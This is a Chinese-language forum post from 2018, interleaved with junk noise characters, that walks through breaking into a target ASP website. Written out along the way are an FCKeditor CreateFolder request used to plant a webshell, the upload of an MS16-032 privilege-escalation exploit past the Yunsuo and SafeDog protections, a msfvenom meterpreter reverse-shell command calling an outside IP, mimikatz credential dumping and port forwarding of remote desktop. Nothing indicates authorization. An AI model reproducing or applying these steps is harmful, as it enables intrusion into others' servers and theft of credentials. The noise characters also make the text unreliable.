|
w+ A* T( t. k* y6 ?6 k
9 A* ]$ v f% a" B9 p
# y8 D- `& N) t) @* A
& X A9 r3 H+ g4 J; \7 b | + k# a( |- J: j- Z( G/ q
5 Y v' m" Y6 c. A: V1 K' k1 w
& g/ J1 a$ G) d# R
一、 利用getwebshell篇
( W& T" p9 q- G6 p9 V9 b
$ B! v- _9 Y5 ]" U
首先对目标站进行扫描，发现是asp的，直接扫出网站后台和默认数据库，下载解密登陆如图：
# R! c* U/ l& I5 e- ^
0 E: ?+ Z. ]5 r
! [! s( w4 s! h, k; G/ X下面进后台发现有fckeditor，而且还是iis6.0的，可以考虑创建个asp目录来构造解析（fck编辑器路径被改成别的需要burpsuite抓包的时候看到）
! S0 \7 \9 H$ A' {, H
6 U1 [2 ~+ y# I5 U9 E1 F
下面我们构造一个asp目录，如： O9 s) O3 v/ V: Z u# t
% w5 x+ y8 ^: [0 E( G# s# y
7 L- K: k( e9 {1 o, G% Y3 O http://www.xxoo.com/manage/hscxeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975
# i2 l- u% X' l7 ]2 g4 x4 q
" x9 L/ H+ F! m* K
! h! |/ ]/ m! ?4 L& J 然后再给shell.asp目录上传一个jpg图片格式的一句话，然后用hatchet打开，然后看了一下支持aspx，那么我们就用包含的办法先把aspx后缀名改成.rar，然后再创建个111.ASPx，里面包含rar文件，进去以后看进程有云锁和安全狗，那么，那么我们慢慢来，慢慢来。
' ~# T7 ^ |% v
5 _; |6 O1 F0 ]. Q: y, N( J
一、 绕过安全狗云锁提权并且加账号
! e+ K7 H* M, v1 D# @( a
1 r A; {8 S" z, v没法看系统信息，但是根据网站404页面可以断定是2003服务器，然后接着访问C:\Program Files (x86)存在断定是2003 64位系统，那么我们说干就干，我们上传ms16-032 64位直接干，但是发现上传exe或者别的格式exp会自动消失，看进程也没杀毒呀，没错没杀毒，是云锁有个功能防御了，那么突破云锁上传的方法就是利用rar，先把exp打包为64.rar上传，然后我们翻一下rar在哪个目录，在C:\Program Files (x86)，然后开干
/ j- _9 X9 T6 u2 e6 J
3 d+ ^: Q! q( s: J/ E Y/ q& T6 ]: B
如图：
# H' U3 J4 Z( [. V9 V0 Q$ k$ f2 }$ G
; z9 p' ]8 `, q* i: |8 l然后执行直接是system权限,然后我用干狗神器给加了一个账号用tunna反弹3968提示不是远程组，我操后来也想着用getpassword64抓明文密码，但是一执行就卡死，没办法想到了metasploit
3 ]8 o. v' O- Q) }0 W9 p2 `' V
6 n5 ~8 P# n1 Y* G U
一、 利用metasploit
) X5 l. s, G D3 X
+ y# b$ X. B9 ~5 V9 V: ]0 W首先用pentestbox生成一个64位的payload如下命令
, J$ X3 K' y4 _
- ?; }7 Y2 z' `msfVENOM -p windows/x64meterpreter/reverse_tcp lhost=42.51.1.1 lport=443 -f exe > c:\mata.exe
% E5 u! T6 {9 T: c/ c# \ I2 R4 F
1 t& v) y4 _$ Z: i! T
为什么要用443端口，之前我测试用别的端口直接被墙了没法上线，下面我们在system下执行这个mata，上线如图：
2 x0 O; ?; r7 a4 \2 }& E/ Q
6 z1 V8 X. E( M8 |# e5 e: @/ t2 n- b* n下面我们用这个命令抓一下明文密码命令1：use mimikatz 命令2：kerberos如下图：
( I1 D5 n6 B4 _' Q) h J
/ k$ {" K- \0 F# D) Y+ T
下面我们来做一个监听如下命令：
6 H" O: v/ E5 T
1 d7 W3 [4 d f! lportfwd add -l 6655 -p 3968 -r 127.0.0.1，这个命令的意思就是把目标服务器的远程3968转发到pentestbox的公网IP的6655端口如图：
( n3 H# K4 \! k
8 j* p. r$ g0 P7 K2 n% \7 I& x( @
/ c. o5 E0 |7 l$ @ | ; ~" F0 l# E% p4 M) M* c r
$ E' ?0 \9 _( a
/ i: ?7 G$ f7 h5 q
2 b( K/ b8 l6 i! U+ ?% i
: L+ u% B; P! z) Y( v) b S0 y% M" f N
+ O _ @& _: x" x8 J; R7 s7 `" U
# I6 y& P. {/ t; l8 g3 x
' L5 ^$ Z* _8 A. F ?0 |
& k4 O+ G3 n" s1 e- ~& _; C/ w
" V0 C) V `: R2 t; _; ]5 V
( l3 k/ z" A2 ~- b- L4 h2 d
" g: I1 t' v: }4 S4 T
7 x! @% W% K8 x | 
发表于 2018-10-20 20:31:43
收藏
支持
反对
匿名
发表于 2021-11-20 23:30:06